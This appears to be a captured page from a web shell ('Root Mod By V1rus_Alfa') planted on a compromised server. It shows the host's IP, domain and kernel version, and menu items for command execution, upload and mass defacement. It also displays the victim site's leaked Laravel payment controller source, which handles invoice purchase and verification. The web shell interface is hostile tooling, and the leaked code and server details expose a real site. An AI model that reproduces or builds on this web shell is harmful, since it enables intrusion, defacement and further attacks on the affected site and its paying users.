���Root Mod By V1rus_Alfa
User / IP
:
216.73.217.78
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
repositories
/
cutunix-shot
/
app
/
Http
/
Controllers
/
Web
/
V1
/
Viewing: PaymentController.php
<?php namespace App\Http\Controllers\Web\V1; use SoapClient; use App\Models\Config; use App\Models\User; use App\Models\UnitList; use Illuminate\Http\Request; use Shetabit\Multipay\Invoice; use function App\Helpers\DateNow; use App\Models\TransactionLog; use App\Http\Controllers\Controller; use function App\Helpers\error_response; use Shetabit\Payment\Facade\Payment as ShetabitPayment; use Shetabit\Multipay\Exceptions\InvalidPaymentException; use Illuminate\Pagination\LengthAwarePaginator; class PaymentController extends Controller { public function saveToken(Request $request) { if (auth()->user()) { auth()->user()->update(['fcm_token' => $request->token]); return response()->json(['token saved successfully.']); } // $data = UnitList:: // with(['unit', 'unit.image_3D', 'attach', 'attach.material']) // ->orderBy('unit_lists.id', 'desc') // ->paginate(10)->groupBy(['uid'])->toArray(); // $total = count($data); // $perPage = 11; // $currentPage = LengthAwarePaginator::resolveCurrentPage(); // $currentItems = array_slice($data, $perPage * ($currentPage - 1), $perPage); // $groups = new LengthAwarePaginator($currentItems, count($data), $perPage, $currentPage); } public function buy(Request $request) { //validate $validate = false; if ($request->user_id && $request->mobile && $request->price && $request->type && $request->platform) { $validate = true; } $user = User::where('id', $request->user_id)->where('mobile', $request->mobile)->first(); if ($user && $validate) { $invoice = new Invoice(); $invoice->amount((int)$request->price); return ShetabitPayment::callbackUrl('https://shot.cutunix.ir/api/payment/verify?user_id=' . $request->user_id . '&mobile=' . $request->mobile . '&platform=' . $request->platform)->purchase($invoice, function ($driver, $transactionId) use ($invoice, $request, $user) { TransactionLog::create([ 'amount' => $request->price, 'payment_status' => 'pending', 'type' => $request->type, 'date' => DateNow(), 'transaction_id' => $transactionId, 'invoice_id' => $invoice->getUuid(), 'user_id' => $user->id ]); })->pay()->render(); } else { return error_response('کاربر وجود ندارد'); } } public function verify(Request $request) { $url = '/'; $user = User::where('id', $request->user_id)->where('mobile', $request->mobile)->first(); if ($user) { $check = TransactionLog::where('user_id', $user->id)->where('payment_status', 'pending')->latest()->first(); if ($check) { try { $receipt = ShetabitPayment::amount($check->amount)->transactionId($check->transaction_id)->verify(); if ($receipt->getReferenceId()) { $check->update([ 'reference_id' => $receipt->getReferenceId(), 'description' => 'عملیات موفق', 'payment_status' => 'true' ]); if ($check->type == 'register') { $exp_check = Config::where('key', 'exp_day')->first(); $exp_month = 30; if ($exp_check) { $exp_month = $exp_check->value; } $exp = DateNow('when', null, 'day', (int)$exp_month); $user->update([ 'expire_date' => $exp, ]); } session()->flash('success_payment', 'پرداخت با موفقیت انجام گردید'); return redirect()->to('/'); } else { $check->update([ 'description' => 'عملیات ناموفق', 'payment_status' => 'false' ]); session()->flash('error_payment', 'پرداخت ناموفق ، در صورت بروز مشکل با پشتیبانی تماس حاصل نمایید'); return redirect()->to($url); } } catch (InvalidPaymentException $exception) { $check->update([ 'description' => $exception->getMessage(), 'payment_status' => 'false' ]); session()->flash('error_payment', 'پرداخت ناموفق ، در صورت بروز مشکل با پشتیبانی تماس حاصل نمایید'); return redirect()->to($url); } } else { session()->flash('error_payment', 'شماره تراکنش شما یافت نگردید،درصورت بروز مشکل با پشتیبانی تماس حاصل نمایید'); return redirect()->to($url); } return 'error'; } else { return error_response('کاربر وجود ندارد'); } } }
Coded With 💗 by
0x6ick Mod By V1rus_Alfa